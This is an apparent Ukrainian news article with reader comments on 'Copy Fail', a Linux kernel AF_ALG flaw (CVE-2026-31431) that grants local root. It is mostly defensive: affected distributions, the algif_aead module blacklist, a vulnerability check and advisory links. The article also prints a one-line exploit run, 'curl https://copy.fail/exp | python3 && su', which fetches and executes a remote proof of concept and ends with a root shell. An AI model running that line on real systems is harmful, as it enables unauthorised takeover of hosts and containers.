В ядрі Linux знайшли діру з 2017 року, яка віддає root-доступ до хосту за пару секунд

💡 Усі статті, обговорення, новини про DevOps — в одному місці. Приєднуйтесь до DevOps спільноти!

У ядрі Linux знайшли критичну вразливість Copy Fail, яка залишалася непоміченою з 2017 року. Вона дозволяє будь-якому користувачу отримати права root, а експлойт працює на всіх основних дистрибутивах.

Як це працює

Copy Fail експлуатує підсистему шифрування ядра Linux через інтерфейс AF_ALG. Зловмисник використовує звичайні системні виклики sendmsg() та splice(), щоб змусити ядро помилково перезаписати 4 байти пам’яті. І перезапис відбувається безпосередньо у кеші сторінок.

Для атаки достатньо навіть мінімального доступу до системи. Не потрібен доступ до мережі чи якісь специфічні налаштування. Будь-яка система з ядром, зібраним між 2017 роком і виходом актуального патчу, перебуває в зоні ризику. Дослідники вже перевірили та підтвердили роботу експлойту на Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 та SUSE 16. Debian, Arch, Fedora та інші дистрибутиви поводяться аналогічно.

Джерело — звіт про Copy Fail

Найбільшу загрозу вразливість становить для інфраструктур, де ядро ділять кілька ізольованих процесів. У кластерах Kubernetes та звичайних контейнерах кеш сторінок є спільним для всього хоста, тому злам одного контейнера дозволяє хакеру вирватися назовні й захопити всю ноду. Схожа ситуація з GitHub Actions або Jenkins, де будь-який неперевірений скрипт із пулл-реквесту миттєво отримує права root на спільному раннері. А у хмарних SaaS-сервісах, serverless-архітектурі чи просто на серверах розробки звичайний клієнт здатний без зайвих зусиль перехопити повний контроль над машиною.

Доказ концепції copy_fail_exp.py вже виклали на GitHub. Це Python-скрипт розміром у 732 байти, який використовує лише стандартні бібліотеки os, socket та zlib. За замовчуванням він націлений на модифікацію кешу бінарника /usr/bin/su. Швидкий запуск зводиться до завантаження скрипта утилітою curl з домену copy.fail/exp та його виконання. Відразу після цього викликається su і користувач отримує права root.

curl https://copy.fail/exp | python3 && su
id
uid=0(root) gid=1002(user) groups=1002(user)

Вендори вже випускають оновлення, яке латає цю проблему.

Якщо оновити пакет ядра прямо зараз неможливо, варто примусово вимкнути модуль шляхом створенням конфігу в теці /etc/modprobe.d/ з рядком install algif_aead /bin/false та подальшим вивантаженням модуля командою rmmod algif_aead.

Для ізольованих середовищ на кшталт пісочниць чи контейнерів фахівці рекомендують жорстко блокувати створення таких криптографічних з’єднань через системні політики безпеки, навіть якщо ви вже встановили патч.

👍ПодобаєтьсяСподобалось20
До обраногоВ обраному7
LinkedIn
Ctrl + Enter
Ctrl + Enter

Для тих хто не може одразу оновити ядро: lsmod | grep algif якщо модуль не завантажений атака вже неможлива.
Додайте install algif_aead /bin/false в modprobe.d та не забудьте перевірити усi хости, де ядро збиралось після 2017 без актуального патчу.

Ха, ми ще з 2021 року це відключили:
grubby —update-kernel=ALL —args="initcall_blacklist=algif_aead_init"

Перевірити можна так:

python3 -c ’import socket; s=socket.socket(38,5,0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("vulnerable“); s.close()’ 2>/dev/null || echo “Not vulnerable / blocked”

Дивно, що з 2021 ми про це писали й результат = 0 а тепер всі прокинулися.

Цікаво кому писали у 2021 році? Треба тих людей притягати до відповідальності)
Якщо так, то Copy fail у такому разі ігнорили протягом 5 (!) років. Сумно, що іноді починають це фіксити лише тоді коли роблять public disclosure.

Що ж, прикро, дійсно прикро (
І вам дякую за пробу це зарепортити. Пишаюсь українськими фахівцями. Це дійсно круто, що ви знайшли цей баг першими.

Редхати це крінж контора, з мізерними зп, та говнопродуктами.

Наступного разу краще все ж репортити в ком’юніті ядра, але власнику дістру.

А так, молодці, що хоч себе убезпечили.

Та ні, ця вразливість стосується зміни, що сталася у ядрі Linux ще у 2017 році.Та її зараз відкатили. Хоча досі не зрозуміло хто саме знайшов цю вразливість — людина, чи все ж таки AI, може той же Anthropic Mythos.
Зарепортили вразливість дослідники xint.io

Дистрибутиви, що працюють на Linux-ядрах у вразливому діапазоні, також слід вважати ураженими Copy Fail. Це, зокрема, Debian, Arch Linux, Fedora, Rocky Linux, AlmaLinux, Oracle Linux, а також embedded Linux-дистрибутиви.

Ubuntu 26.04 (Resolute) і новіші ядра не вразливі.

Додаткову інформацію щодо виправлень можна знайти у advisory, а також у security tracker’ах вендорів:
1. ubuntu.com/security/CVE-2026-31431
2. www.suse.com/...​curity/cve/CVE-2026-31431
3. access.redhat.com/...​curity/cve/CVE-2026-31431
4. docs.docker.com/engine/security/seccomp
5. kubernetes.io/...​torials/security/seccomp

Рекомендується встановити відповідне оновлення ядра Linux вашого дистрибутиву якомога швидше після того, як вендори випустять патч.

Тимчасовий фікс

До появи патча, як тимчасовий фікс, необхідно вимкнути модуль ядра algif_aead на всіх уражених системах:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Цей тимчасовий фікс не впливає на роботу dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS або SSH. Водночас він може вплинути на застосунки, які явно налаштовані на використання afalg або використовують aead/skcipher/hash сокети.

Як не покласти щось

Перевірити, чи щось використовує модулі algif_aead, можна за допомогою команди:

lsof | grep AF_ALG
Якщо будуть запитання щодо виправлення, пишіть @stansecure — спробую допомогти або щось підказати.

Запрошую доєднатися до мого Telegram-каналу та буду радий бачити у LinkedIn.

Тепер я спокійно засну, все полатали😃

Див. више, додав коментар з тимчасовим фіксом Copy File та посилання на advisory, хутчіш виправляйте)

Підписатись на коментарі